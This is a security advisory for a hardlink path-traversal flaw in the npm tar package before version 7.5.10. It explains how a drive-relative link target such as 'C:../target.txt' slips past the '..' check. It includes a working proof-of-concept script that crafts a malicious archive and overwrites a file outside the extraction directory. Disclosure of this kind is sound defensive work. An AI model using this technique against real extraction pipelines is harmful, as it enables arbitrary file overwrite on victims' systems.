HighGHSA-qffp-2rhf-9h96CVE-2026-29786

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Published 5 Mar 2026 · Updated 10 Sept 2026

Affected package

tarnpm
Affected
<7.5.10
Fixed in
7.5.10
Update to the fixed version for your release line, for example:npm install tar@7.5.10

Details

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments *before* stripping absolute roots.

What happens with linkpath: "C:../target.txt": 1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false. 2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt. 3. Hardlink creation resolves this against extraction cwd and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Is GHSA-qffp-2rhf-9h96 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.